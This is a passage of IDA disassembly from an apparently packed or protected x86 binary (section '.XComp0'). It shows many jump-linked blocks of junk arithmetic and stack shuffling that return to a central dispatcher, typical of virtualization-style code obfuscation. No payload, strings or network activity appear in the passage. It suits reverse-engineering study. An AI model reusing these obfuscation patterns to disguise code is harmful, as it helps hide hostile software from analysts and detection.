; --------------------------------------------------------------------------- loc_58ABDE: ; CODE XREF: .XComp0:00588780j add ecx, eax push 74h mov [esp], ebp mov ebp, 1B1C290Dh push edi push 42AE7CAAh pop edi not edi shl edi, 4 jmp loc_58B581 ; --------------------------------------------------------------------------- loc_58ABFE: ; CODE XREF: .XComp0:00590839j pop eax push dword ptr [esp] jmp loc_584982 ; --------------------------------------------------------------------------- loc_58AC07: ; CODE XREF: .XComp0:00587E80j push ecx mov ecx, 55834DA1h jmp loc_593136 ; --------------------------------------------------------------------------- loc_58AC12: ; CODE XREF: .XComp0:0059527Fj not edx sub edx, 0D07C860Eh jmp loc_584B77 ; --------------------------------------------------------------------------- loc_58AC1F: ; CODE XREF: .XComp0:0058C143j sub edi, 6F21408Eh sub edi, 4AEB0379h jmp loc_58593F ; --------------------------------------------------------------------------- loc_58AC30: ; CODE XREF: .XComp0:0059817Cj add ecx, 2 xchg ecx, [esp] mov esp, [esp] xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58AC46: ; CODE XREF: .XComp0:00589E50j mov edx, [esp] add esp, 4 push ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_589AEE ; --------------------------------------------------------------------------- loc_58AC62: ; CODE XREF: .XComp0:00588826j inc eax or eax, 76F50823h jmp loc_597FA0 ; --------------------------------------------------------------------------- loc_58AC6D: ; CODE XREF: .XComp0:00589D44j pop ax sub ch, bh sub ch, 15h jmp loc_584220 ; --------------------------------------------------------------------------- loc_58AC79: ; CODE XREF: .XComp0:00591447j push ebp mov ebp, 17C0F59h sub eax, 3DE174B2h add eax, ebp add eax, 3DE174B2h pop ebp xor eax, 3B7552C5h mov ebx, eax mov eax, [esp] add esp, 4 shl ebx, 2 push esi mov esi, 4BA46371h sub ebx, esi jmp loc_586BC3 ; --------------------------------------------------------------------------- loc_58ACA9: ; CODE XREF: .XComp0:0059752Dj pop esp sub esp, 4 mov [esp], esi jmp loc_592AF0 ; --------------------------------------------------------------------------- loc_58ACB5: ; CODE XREF: .XComp0:00593338j push ebp mov ebp, 45A77918h sub ebx, ebp pop ebp push edx mov edx, 41E07B37h sub ebx, 29F27447h sub ebx, edx jmp loc_594F86 ; --------------------------------------------------------------------------- loc_58ACD1: ; CODE XREF: .XComp0:00591D37j pop edx xor edx, 58C533B8h dec edx add edx, 0E7500890h mov eax, edx pop edx neg eax not eax xor eax, 26A0741Fh xor esi, eax pop eax push edx jmp loc_58D7E2 ; --------------------------------------------------------------------------- loc_58ACF4: ; CODE XREF: .XComp0:00588FDAj inc byte ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58ACFD: ; CODE XREF: .XComp0:0059305Bj pop esp jmp loc_587813 ; --------------------------------------------------------------------------- loc_58AD03: ; CODE XREF: .XComp0:0058F3BFj pop eax pop ebx pop ecx loc_58AD06: ; CODE XREF: .XComp0:0058B315j sub esp, 4 jmp loc_58D9EB ; --------------------------------------------------------------------------- loc_58AD0E: ; CODE XREF: .XComp0:0058BF31j push ebp mov ebp, 1A4D5733h add ecx, ebp pop ebp mov ebx, [esp] push edx mov edx, esp push ebx mov ebx, 4 sub edx, 69CD2B8Ah jmp loc_584055 ; --------------------------------------------------------------------------- loc_58AD2E: ; CODE XREF: .XComp0:0059145Ej push ecx mov ecx, 348D520Bh jmp loc_589D2D ; --------------------------------------------------------------------------- loc_58AD39: ; CODE XREF: .XComp0:0058EBF0j add esp, 4 sub edx, 196E1341h push ecx mov ecx, 2A0A7E79h xor ecx, 3FFF6E0Ah xchg edi, ecx not edi xor ecx, edi xor edi, ecx xor ecx, edi sub ecx, 0FFFFFFFFh xor ecx, 0ABB2F2B3h push 7AB6h mov [esp], ecx mov ecx, 209F15DCh add edx, 97C3F98h sub edx, ecx sub edx, 97C3F98h pop ecx add edx, ecx push 48EEh mov [esp], esi mov esi, 2A703729h xor esi, 0AEF22F5h sub edx, 61CD0B80h add edx, esi push edi mov edi, 61CD0B80h sub edx, 49ED0BCAh add edx, edi add edx, 49ED0BCAh pop edi pop esi mov ecx, [esp] add esp, 4 sub edx, eax sub edx, 41B81D3Eh push 75C5h mov [esp], edi mov edi, 196E1341h push esi mov esi, 23170F85h dec esi not esi dec esi xor esi, 0EA348AB1h sub edx, esi pop esi jmp loc_58FA2E ; --------------------------------------------------------------------------- loc_58ADE6: ; CODE XREF: .XComp0:00589049j mov ebx, 0 sub ebx, 7A2213B7h sub ebx, 3454946h push esi push ecx mov ecx, 7424013h mov esi, ecx pop ecx sub ebx, esi mov esi, [esp] add esp, 4 add ebx, ecx add ebx, 7424013h add ebx, 3454946h add ebx, 7A2213B7h push ecx mov cl, al mov [ebx], cl pop ecx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ecx push ebx push esp pop ebx jmp loc_587170 ; --------------------------------------------------------------------------- loc_58AE35: ; CODE XREF: .XComp0:005950E7j pop ebp jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58AE3B: ; CODE XREF: .XComp0:00591119j mov edi, esp add edi, 4 push ebx jmp loc_591307 ; --------------------------------------------------------------------------- loc_58AE49: ; CODE XREF: .XComp0:00587574j push ebp jmp loc_585BEF ; --------------------------------------------------------------------------- loc_58AE4F: ; CODE XREF: .XComp0:005962C3j mov esi, 605E1FD7h xor esi, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_58EC51 ; --------------------------------------------------------------------------- loc_58AE71: ; CODE XREF: .XComp0:00596A46j pop ecx jmp loc_592638 ; --------------------------------------------------------------------------- loc_58AE77: ; CODE XREF: .XComp0:0058B6FFj push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5987F0 ; --------------------------------------------------------------------------- loc_58AE84: ; CODE XREF: .XComp0:0058BD8Ej xor ebx, ecx pop ecx sub edi, 3FE42D13h sub edi, ebx push ebx mov ebx, 62965EDCh dec ebx jmp loc_58A63E ; --------------------------------------------------------------------------- loc_58AE9B: ; CODE XREF: .XComp0:005955DCj mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_58D66A ; --------------------------------------------------------------------------- loc_58AEC1: ; CODE XREF: .XComp0:0058414Fj xor ch, 0D1h xor ch, 93h push dx mov dh, 1 add ch, dh pop dx push ebx mov bh, 6Bh and bh, 3Eh push eax sub esp, 4 jmp loc_590BCA ; --------------------------------------------------------------------------- mov ax, [esp] push 1BD3h mov [esp], eax mov eax, esp push 3279h mov [esp], ecx jmp loc_589778 ; --------------------------------------------------------------------------- loc_58AEF9: ; CODE XREF: .XComp0:00598CD3j pop ax sub cl, 2Ch sub bh, 30h add bh, cl add bh, 30h push dword ptr [esp] jmp loc_59161E ; --------------------------------------------------------------------------- loc_58AF0E: ; CODE XREF: .XComp0:00589DD3j mov esi, esp sub esp, 4 jmp loc_590E02 ; --------------------------------------------------------------------------- loc_58AF1B: ; CODE XREF: .XComp0:005889CFj add esp, 4 jmp loc_59139D ; --------------------------------------------------------------------------- loc_58AF23: ; CODE XREF: .XComp0:00597913j mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_58FE1A ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp jmp loc_589FBB ; --------------------------------------------------------------------------- loc_58AF42: ; CODE XREF: .XComp0:00595218j dec bh push ecx mov ch, 36h or ch, 90h jmp loc_5900D1 ; --------------------------------------------------------------------------- loc_58AF4F: ; CODE XREF: .XComp0:0058D322j add esp, 4 sub esp, 4 mov [esp], edi mov edi, 71052592h sub edx, edi mov edi, [esp] add esp, 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58AF70: ; CODE XREF: .XComp0:00584706j pop esp mov [esp], eax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58AF79: ; CODE XREF: .XComp0:00597A8Fj pop eax pop ebp add ebx, esi pop esi push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_591CFC ; --------------------------------------------------------------------------- loc_58AF92: ; CODE XREF: .XComp0:005948A0j mov esp, [esp] push ebp push esp pop ebp sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_58F33D ; --------------------------------------------------------------------------- loc_58AFAB: ; CODE XREF: .XComp0:00597C97j add ebp, esi pop esi add ebp, 4 xor ebp, [esp] jmp loc_588339 ; --------------------------------------------------------------------------- loc_58AFB9: ; CODE XREF: .XComp0:00589D57j add [esp+4], esi pop esi jmp loc_584810 ; --------------------------------------------------------------------------- loc_58AFC3: ; CODE XREF: .XComp0:00588684j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_58CD05 ; --------------------------------------------------------------------------- loc_58AFD7: ; CODE XREF: .XComp0:00590543j push esi mov esi, esp sub esp, 4 jmp loc_58CB34 ; --------------------------------------------------------------------------- loc_58AFE5: ; CODE XREF: .XComp0:0058CA22j pop ebx pop eax add edi, 795A6F22h add edi, edx jmp loc_58F25D ; --------------------------------------------------------------------------- loc_58AFF4: ; CODE XREF: .XComp0:00584A9Aj sub [esp+4], ebp jmp loc_5898E0 ; --------------------------------------------------------------------------- loc_58AFFD: ; CODE XREF: .XComp0:0058EDE0j add eax, 73794D8Bh sub esp, 4 mov [esp], eax mov eax, 6B301267h add [esp+4], eax mov eax, [esp] jmp loc_591118 ; --------------------------------------------------------------------------- loc_58B019: ; CODE XREF: .XComp0:00594A1Fj add ebp, 0C746A45h jmp loc_583B13 ; --------------------------------------------------------------------------- loc_58B024: ; CODE XREF: .XComp0:00597EBCj pop eax xchg ecx, [esp] pop esp push dx sub esp, 4 mov [esp], eax push edx mov dh, 79h mov ah, dh mov edx, [esp] add esp, 4 add ah, 0BDh sub ah, 1 push 5053h mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_588391 ; --------------------------------------------------------------------------- loc_58B064: ; CODE XREF: .XComp0:005850A0j add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] jmp loc_59684C ; --------------------------------------------------------------------------- loc_58B072: ; CODE XREF: .XComp0:0058939Dj push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp jmp loc_5951A3 ; --------------------------------------------------------------------------- loc_58B081: ; CODE XREF: .XComp0:005860A3j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_597AE8 ; --------------------------------------------------------------------------- loc_58B0A0: ; CODE XREF: .XComp0:00595243j div ecx jmp loc_59056B ; --------------------------------------------------------------------------- loc_58B0A7: ; CODE XREF: .XComp0:005922C9j mov edx, 0FBD1CCAEh add edx, 53923F84h add edx, ecx sub edx, 53923F84h pop ecx add [esp+4], edx mov edx, [esp] jmp loc_584B2C ; --------------------------------------------------------------------------- loc_58B0C7: ; CODE XREF: .XComp0:0058C484j mov ecx, [esp] jmp loc_58F335 ; --------------------------------------------------------------------------- loc_58B0CF: ; CODE XREF: .XComp0:00586665j push esi jmp loc_58B176 ; --------------------------------------------------------------------------- loc_58B0D5: ; CODE XREF: .XComp0:0058B6E4j mov [esp], edx jmp loc_5912F5 ; --------------------------------------------------------------------------- loc_58B0DD: ; CODE XREF: .XComp0:00586372j sub ebp, 42F148EFh add ebp, ebx push eax jmp loc_588806 ; --------------------------------------------------------------------------- loc_58B0EB: ; CODE XREF: .XComp0:00586998j add edi, 4 jmp loc_588A5A ; --------------------------------------------------------------------------- loc_58B0F6: ; CODE XREF: .XComp0:00591933j add ebx, edx pop edx add ebx, 7D2501Ch push small word ptr [eax] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58B107: ; CODE XREF: .XComp0:0058DB08j mov esp, [esp] jmp loc_591083 ; --------------------------------------------------------------------------- loc_58B10F: ; CODE XREF: .XComp0:005846C0j add eax, 3BAF1F74h pop ebx jmp loc_58DB8A ; --------------------------------------------------------------------------- loc_58B11A: ; CODE XREF: .XComp0:00590522j add esp, 4 jmp loc_595113 ; --------------------------------------------------------------------------- loc_58B122: ; CODE XREF: .XComp0:00594EC9j add ebx, edi pop edi jmp loc_58E8A4 ; --------------------------------------------------------------------------- loc_58B12A: ; CODE XREF: .XComp0:0058DA28j and edi, ecx pop ecx push eax mov eax, 6C591146h add eax, 6AFF5E70h sub eax, 1 jmp loc_58E16E ; --------------------------------------------------------------------------- loc_58B140: ; CODE XREF: .XComp0:00597F5Fj push edx mov edx, 31F87A9Eh sub edi, edx jmp loc_58D97F ; --------------------------------------------------------------------------- loc_58B14D: ; CODE XREF: .XComp0:00593FC6j pop ebx push ecx push 2 jmp loc_58DE9E ; --------------------------------------------------------------------------- loc_58B159: ; CODE XREF: .XComp0:00598AB2j add esp, 4 add esp, 4 xor ebx, eax movzx ax, byte ptr [eax] push eax mov eax, esp push ecx mov ecx, 43A32B4Fh jmp loc_597CA7 ; --------------------------------------------------------------------------- loc_58B176: ; CODE XREF: .XComp0:0058B0D0j mov esi, 49C94375h push 4874h mov [esp], ebp jmp loc_58C2F7 ; --------------------------------------------------------------------------- loc_58B188: ; CODE XREF: .XComp0:00597FC4j neg ecx jmp loc_5875A3 ; --------------------------------------------------------------------------- lodsb push cx mov ch, 0ABh sub al, ch pop cx sub al, 0F5h sub esp, 4 jmp loc_589C3F ; --------------------------------------------------------------------------- loc_58B1A2: ; CODE XREF: .XComp0:0058E526j add eax, 0FA152FDh xor eax, 9F7AB48Fh jmp loc_598BB3 ; --------------------------------------------------------------------------- loc_58B1B1: ; CODE XREF: .XComp0:00595E93j xor ecx, 58D536DDh mov ebx, ecx jmp loc_592F5E ; --------------------------------------------------------------------------- loc_58B1BE: ; CODE XREF: .XComp0:00585640j pop eax push 4757h mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], eax mov eax, 750149B9h push ebp mov ebp, 27D40015h sub ebp, 0FF0EEEE2h sub eax, ebp pop ebp and eax, 31FA4ED2h xor eax, 380886h jmp loc_597469 ; --------------------------------------------------------------------------- loc_58B1F5: ; CODE XREF: .XComp0:00591EAFj sub esp, 4 mov [esp], edx push edi jmp loc_58BD34 ; --------------------------------------------------------------------------- lodsb push edx push ecx push eax jmp loc_58C023 ; --------------------------------------------------------------------------- loc_58B20D: ; CODE XREF: .XComp0:0058EE3Ej shl edi, 2 sub edi, 4FDBC2F9h sub edx, edi jmp loc_585B98 ; --------------------------------------------------------------------------- loc_58B21D: ; CODE XREF: .XComp0:00597C6Dj add al, bl push 49ABh mov [esp], ecx jmp loc_59778B ; --------------------------------------------------------------------------- loc_58B22C: ; CODE XREF: .XComp0:0058D67Aj push ebp mov ebp, 76D26E82h neg ebp xor ebp, 21312FB4h sub ebp, 61B57B2Fh sub ebx, ebp pop ebp pop ecx add ebx, eax jmp loc_587DBA ; --------------------------------------------------------------------------- loc_58B24B: ; CODE XREF: .XComp0:00589335j sub eax, 778B593Fh sub eax, 5C537E48h sub eax, ebx add eax, 5C537E48h add eax, 778B593Fh pop ebx xchg eax, [esp] pop esp mov [esp], cx jmp loc_5860F5 ; --------------------------------------------------------------------------- loc_58B26F: ; CODE XREF: .XComp0:00586E4Dj mov ebx, 606718E1h xor ebx, 606718E5h add eax, ebx mov ebx, [esp] add esp, 4 add eax, 4 jmp loc_5865CE ; --------------------------------------------------------------------------- loc_58B28C: ; CODE XREF: .XComp0:0058BA4Bj add esi, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp push dword ptr [esp] pop eax push 63AAh jmp loc_59177A ; --------------------------------------------------------------------------- loc_58B2B2: ; CODE XREF: .XComp0:005970AAj pop eax sub edx, 51AC2587h mov ecx, edx pop edx add eax, 3B373882h sub eax, ecx sub eax, 3B373882h push dword ptr [esp] jmp loc_589FC5 ; --------------------------------------------------------------------------- loc_58B2D0: ; CODE XREF: .XComp0:005928C0j mov ebp, [esp] jmp loc_583BF3 ; --------------------------------------------------------------------------- loc_58B2D8: ; CODE XREF: .XComp0:0059182Ej mov ebp, esp push ecx jmp loc_598767 ; --------------------------------------------------------------------------- loc_58B2E0: ; CODE XREF: .XComp0:00583EEEj xchg esi, [esp] pop esp push esi mov esi, 2 add ecx, esi pop esi push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_58C4FD ; --------------------------------------------------------------------------- loc_58B300: ; CODE XREF: .XComp0:0058C4C6j sub esp, 4 mov [esp], edx push esp pop edx jmp loc_587648 ; --------------------------------------------------------------------------- loc_58B310: ; CODE XREF: .XComp0:005870AFj mov esp, [esp] or eax, eax jz loc_58AD06 push 4FB1h mov [esp], edx jmp loc_59045D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_58CD00 ; --------------------------------------------------------------------------- loc_58B337: ; CODE XREF: .XComp0:00588DCFj pop eax pop ebp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_596B56 ; --------------------------------------------------------------------------- loc_58B353: ; CODE XREF: .XComp0:00586302j sub esp, 4 mov [esp], edx mov edx, 554936C7h shr edx, 2 shr edx, 5 neg edx push ebp push ebx mov ebx, 7F631404h mov ebp, 0A6825E23h jmp loc_58F69B ; --------------------------------------------------------------------------- loc_58B377: ; CODE XREF: .XComp0:00598B47j mov dl, 38h sub dl, cl jmp loc_58DC68 ; --------------------------------------------------------------------------- loc_58B380: ; CODE XREF: .XComp0:00590576j push 3975h mov [esp], esp jmp loc_5968C8 ; --------------------------------------------------------------------------- loc_58B38D: ; CODE XREF: .XComp0:00590C3Fj add edi, 4 jmp loc_58850F ; --------------------------------------------------------------------------- loc_58B398: ; CODE XREF: .XComp0:0058FDEEj mov [esp], ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp push 4E6Eh mov [esp], eax push ecx push ebp push 68F35BAh jmp loc_596ABD ; --------------------------------------------------------------------------- loc_58B3C5: ; CODE XREF: .XComp0:00586CD4j pop ebx sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_58CEC4 ; --------------------------------------------------------------------------- loc_58B3D6: ; CODE XREF: .XComp0:00588089j add esi, 4 add esi, 2 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_58CC23 ; --------------------------------------------------------------------------- loc_58B3EE: ; CODE XREF: .XComp0:005853C5j xchg eax, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_5969D5 ; --------------------------------------------------------------------------- loc_58B3FC: ; CODE XREF: .XComp0:00592017j sub eax, ecx pop ecx pop ebx mov edi, [esp] add esp, 4 or [edi+1Ch], eax mov eax, [esp] add esp, 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58B417: ; CODE XREF: .XComp0:0058C609j shr ebx, 3 shr ebx, 7 jmp loc_5880F7 ; --------------------------------------------------------------------------- loc_58B422: ; CODE XREF: .XComp0:0058C3D9j add esp, 4 add esp, 4 jmp loc_583FCF ; --------------------------------------------------------------------------- loc_58B433: ; CODE XREF: .XComp0:005908CFj xor esi, [esp] jmp loc_58E14C ; --------------------------------------------------------------------------- loc_58B43B: ; CODE XREF: .XComp0:005924BCj mov [esp], eax push 2CEEh push 76E6h jmp loc_59423F ; --------------------------------------------------------------------------- loc_58B44D: ; CODE XREF: .XComp0:00587358j mov eax, [esp] push esi mov esi, esp sub esp, 4 mov [esp], ebp mov ebp, 4 jmp loc_5965CC ; --------------------------------------------------------------------------- loc_58B463: ; CODE XREF: .XComp0:00596AF2j mov [esp], ecx push esi jmp loc_58EDAD ; --------------------------------------------------------------------------- loc_58B46C: ; CODE XREF: .XComp0:0058686Ej mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_58C0FB ; --------------------------------------------------------------------------- loc_58B48C: ; CODE XREF: .XComp0:005981D2j add edx, 3AD576A5h jmp loc_591F61 ; --------------------------------------------------------------------------- loc_58B497: ; CODE XREF: .XComp0:00583A73j add al, bh add al, 0CEh push dword ptr [esp] mov ebx, [esp] jmp loc_597201 ; --------------------------------------------------------------------------- loc_58B4A6: ; CODE XREF: .XComp0:005965C7j sub esp, 4 jmp loc_58BF36 ; --------------------------------------------------------------------------- loc_58B4AE: ; CODE XREF: .XComp0:00592A7Fj mov al, 73h add [esp+2], al pop ax mov cl, [esp] push 2914h mov [esp], ebp mov ebp, esp push 2214h mov [esp], ecx jmp loc_5975E0 ; --------------------------------------------------------------------------- loc_58B4D0: ; CODE XREF: .XComp0:00590C5Aj sub [esp], cl add byte ptr [esp], 35h jmp loc_592A7D ; --------------------------------------------------------------------------- loc_58B4DC: ; CODE XREF: .XComp0:00587826j pop edi pop ecx neg edi push ecx mov ecx, 1 sub edi, 386A1BA2h add edi, ecx add edi, 386A1BA2h pop ecx jmp loc_58588D ; --------------------------------------------------------------------------- loc_58B4FA: ; CODE XREF: .XComp0:005855ADj push edi jmp loc_5912CD ; --------------------------------------------------------------------------- loc_58B500: ; CODE XREF: .XComp0:00588E08j mov cl, dl pop edx sub al, 77h sub al, cl push edx mov dl, 0A3h jmp loc_597A6D ; --------------------------------------------------------------------------- loc_58B50F: ; CODE XREF: .XComp0:005963DEj sub ebx, 4 jmp loc_592590 ; --------------------------------------------------------------------------- loc_58B51A: ; CODE XREF: .XComp0:00594888j or ecx, eax pop eax xor ecx, 658156C8h push ecx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 sub edx, 795F041Eh push 1032h jmp loc_58821C ; --------------------------------------------------------------------------- loc_58B543: ; CODE XREF: .XComp0:00595354j add edx, 4 jmp loc_587C2B ; --------------------------------------------------------------------------- loc_58B54E: ; CODE XREF: .XComp0:0059219Fj mov edx, edi jmp loc_584574 ; --------------------------------------------------------------------------- loc_58B555: ; CODE XREF: .XComp0:0058DF5Bj pop esp sub esp, 4 jmp loc_592429 ; --------------------------------------------------------------------------- loc_58B55E: ; CODE XREF: .XComp0:005945D9j mov eax, [esp] jmp loc_58DBFF ; --------------------------------------------------------------------------- loc_58B566: ; CODE XREF: .XComp0:00594CB0j add bl, dl pop dx add bl, al sub bl, 9 add bl, 3Eh push cx jmp loc_58D90F ; --------------------------------------------------------------------------- loc_58B579: ; CODE XREF: .XComp0:00583F5Bj mov esi, [esp] jmp loc_5876FB ; --------------------------------------------------------------------------- loc_58B581: ; CODE XREF: .XComp0:0058ABF9j shl edi, 8 neg edi sub edi, 0BFCCA4CEh add ecx, edi pop edi jmp loc_58E6A7 ; --------------------------------------------------------------------------- loc_58B594: ; CODE XREF: .XComp0:00589DA8j xor ecx, 20D74838h jmp loc_591FB7 ; --------------------------------------------------------------------------- loc_58B59F: ; CODE XREF: .XComp0:00596916j add al, dh jmp loc_58CD6C ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 7486h mov [esp], ebp jmp loc_58E19B ; --------------------------------------------------------------------------- loc_58B5B7: ; CODE XREF: .XComp0:005964D5j add bh, cl jmp loc_58E6B4 ; --------------------------------------------------------------------------- loc_58B5BE: ; CODE XREF: .XComp0:00590E84j push ebx jmp loc_58A874 ; --------------------------------------------------------------------------- loc_58B5C4: ; CODE XREF: .XComp0:0058B97Dj pop edx push eax push esp mov eax, [esp] jmp loc_59398A ; --------------------------------------------------------------------------- loc_58B5CF: ; CODE XREF: .XComp0:005908E6j pop ecx push ecx push esi mov esi, 1CD97E21h push eax mov eax, 9397F83Ch jmp loc_585146 ; --------------------------------------------------------------------------- loc_58B5E2: ; CODE XREF: .XComp0:00595CD3j add esp, 2 mov ah, cl pop ecx add ah, 68h inc ah jmp loc_594A7D ; --------------------------------------------------------------------------- loc_58B5F5: ; CODE XREF: .XComp0:0058C8C4j push dword ptr [esp] pop edx add esp, 4 xchg esi, [esp] mov esp, [esp] mov ax, [esp] push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5965C6 ; --------------------------------------------------------------------------- loc_58B61C: ; CODE XREF: .XComp0:00586C92j mov [esp], esi jmp loc_5883DC ; --------------------------------------------------------------------------- loc_58B624: ; CODE XREF: .XComp0:00583B16j add esp, 4 jmp loc_5843B1 ; --------------------------------------------------------------------------- loc_58B62C: ; CODE XREF: .XComp0:0058E353j mov ecx, edx pop edx pop edi jmp loc_5884FC ; --------------------------------------------------------------------------- loc_58B635: ; CODE XREF: .XComp0:00585888j add eax, 22B10C60h pop esi add eax, ebp sub eax, 74265E79h mov ebp, [esp] add esp, 4 push ecx push esi mov esi, 1BF9785Dh xor esi, 18B4250Fh mov ecx, esi jmp loc_58FA89 ; --------------------------------------------------------------------------- loc_58B65F: ; CODE XREF: .XComp0:00594B37j sub esp, 4 jmp loc_5931D0 ; --------------------------------------------------------------------------- loc_58B66A: ; CODE XREF: .XComp0:00596808j mov ebx, 3B501239h xor ebx, 73BE5964h jmp loc_583D78 ; --------------------------------------------------------------------------- loc_58B67A: ; CODE XREF: .XComp0:0059707Dj add ecx, ebx jmp loc_586E75 ; --------------------------------------------------------------------------- loc_58B681: ; CODE XREF: .XComp0:0058D129j push edi jmp loc_5979F9 ; --------------------------------------------------------------------------- loc_58B687: ; CODE XREF: .XComp0:0058D893j sub edx, 4B562C6h jmp loc_58E340 ; --------------------------------------------------------------------------- loc_58B692: ; CODE XREF: .XComp0:0059269Fj add esp, 4 dec edi shl edi, 1 add edi, 0EDF1770Eh push ecx sub esp, 4 mov [esp], edi jmp loc_5923B4 ; --------------------------------------------------------------------------- loc_58B6AA: ; CODE XREF: .XComp0:005934E0j add ecx, 4 jmp loc_590B55 ; --------------------------------------------------------------------------- loc_58B6B5: ; CODE XREF: .XComp0:005902C3j add ebp, ebx jmp loc_592170 ; --------------------------------------------------------------------------- loc_58B6BC: ; CODE XREF: .XComp0:00591FF2j pop edx push 0A1Eh mov [esp], edi mov edi, 0FAE4965h push ebx mov ebx, 844332Ah sub edi, ebx jmp loc_5952F0 ; --------------------------------------------------------------------------- loc_58B6D7: ; CODE XREF: .XComp0:00593423j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_58B0D5 ; --------------------------------------------------------------------------- loc_58B6E9: ; CODE XREF: .XComp0:00588334j mov ebx, 4 jmp loc_58BC4B ; --------------------------------------------------------------------------- loc_58B6F3: ; CODE XREF: .XComp0:0058F696j add eax, edi sub eax, 4B0E7629h pop edi add eax, 4 push eax jmp loc_58AE77 ; --------------------------------------------------------------------------- loc_58B704: ; CODE XREF: .XComp0:00596CBEj pop esp xchg esi, [esp] pop esp mov [esp], ebx push edx push ecx jmp loc_58FC17 ; --------------------------------------------------------------------------- loc_58B713: ; CODE XREF: .XComp0:0058FB31j push ecx mov ecx, 13FA38E7h mov edx, ecx mov ecx, [esp] add esp, 4 xor edx, 13FA38E3h jmp loc_59629F ; --------------------------------------------------------------------------- loc_58B72C: ; CODE XREF: .XComp0:005959A9j dec ecx shl ecx, 5 jmp loc_590AB4 ; --------------------------------------------------------------------------- loc_58B735: ; CODE XREF: .XComp0:00586017j and eax, 113734DDh add eax, 4DDD392Dh add eax, 0A0EFC1FAh add edi, eax pop eax add edi, 2 push edi push dword ptr [esp+4] pop edi jmp loc_5909EE ; --------------------------------------------------------------------------- loc_58B758: ; CODE XREF: .XComp0:0058BFBDj xor ah, bl pop ebx inc ah push edx push ecx mov ch, 1 mov dh, ch mov ecx, [esp] add esp, 4 push dx jmp loc_58F7A0 ; --------------------------------------------------------------------------- loc_58B773: ; CODE XREF: .XComp0:00594527j mov [esp], edx push eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58B77D: ; CODE XREF: .XComp0:00598581j sub ebx, esi sub ebx, 13F23ADh mov esi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebp jmp loc_584E50 ; --------------------------------------------------------------------------- loc_58B79C: ; CODE XREF: .XComp0:005986CEj push 3186h jmp loc_584AB7 ; --------------------------------------------------------------------------- loc_58B7A6: ; CODE XREF: .XComp0:005931ABj xchg edx, [esp] pop esp xor bh, 87h shl bh, 3 jmp loc_58A7C8 ; --------------------------------------------------------------------------- loc_58B7B5: ; CODE XREF: .XComp0:00592539j sub edx, 0FFFFFFFFh or edx, 471A11DCh jmp loc_598F12 ; --------------------------------------------------------------------------- loc_58B7C6: ; CODE XREF: .XComp0:00594B03j push esi mov esi, 5BE959D4h add ebx, esi pop esi jmp loc_58C7EE ; --------------------------------------------------------------------------- loc_58B7D4: ; CODE XREF: .XComp0:00589537j push small 34E1h jmp loc_587F61 ; --------------------------------------------------------------------------- loc_58B7DD: ; CODE XREF: .XComp0:005843F0j push eax mov eax, 21A24D30h mov ebp, 86915BA0h sub ebp, eax pop eax jmp loc_586C34 ; --------------------------------------------------------------------------- loc_58B7F0: ; CODE XREF: .XComp0:005917C5j add esp, 4 push edx mov edx, 132A4EC6h and edx, 196D08E9h push ebx mov ebx, 0DF87F079h sub edx, ebx pop ebx xor esi, edx mov edx, [esp] add esp, 4 shl esi, 7 jmp loc_58A309 ; --------------------------------------------------------------------------- loc_58B81E: ; CODE XREF: .XComp0:00590E68j sub esi, eax jmp loc_595576 ; --------------------------------------------------------------------------- loc_58B825: ; CODE XREF: .XComp0:00586A12j mov esi, 1C36217Eh jmp loc_5867EA ; --------------------------------------------------------------------------- loc_58B82F: ; CODE XREF: .XComp0:00583D41j xor esi, 46557C46h xor esi, 1A8E5ED8h push eax mov eax, esi jmp loc_59281F ; --------------------------------------------------------------------------- loc_58B843: ; CODE XREF: .XComp0:0058F179j add edx, 0FFFFFFFFh push edx not dword ptr [esp] pop edx shr edx, 1 jmp loc_59585B ; 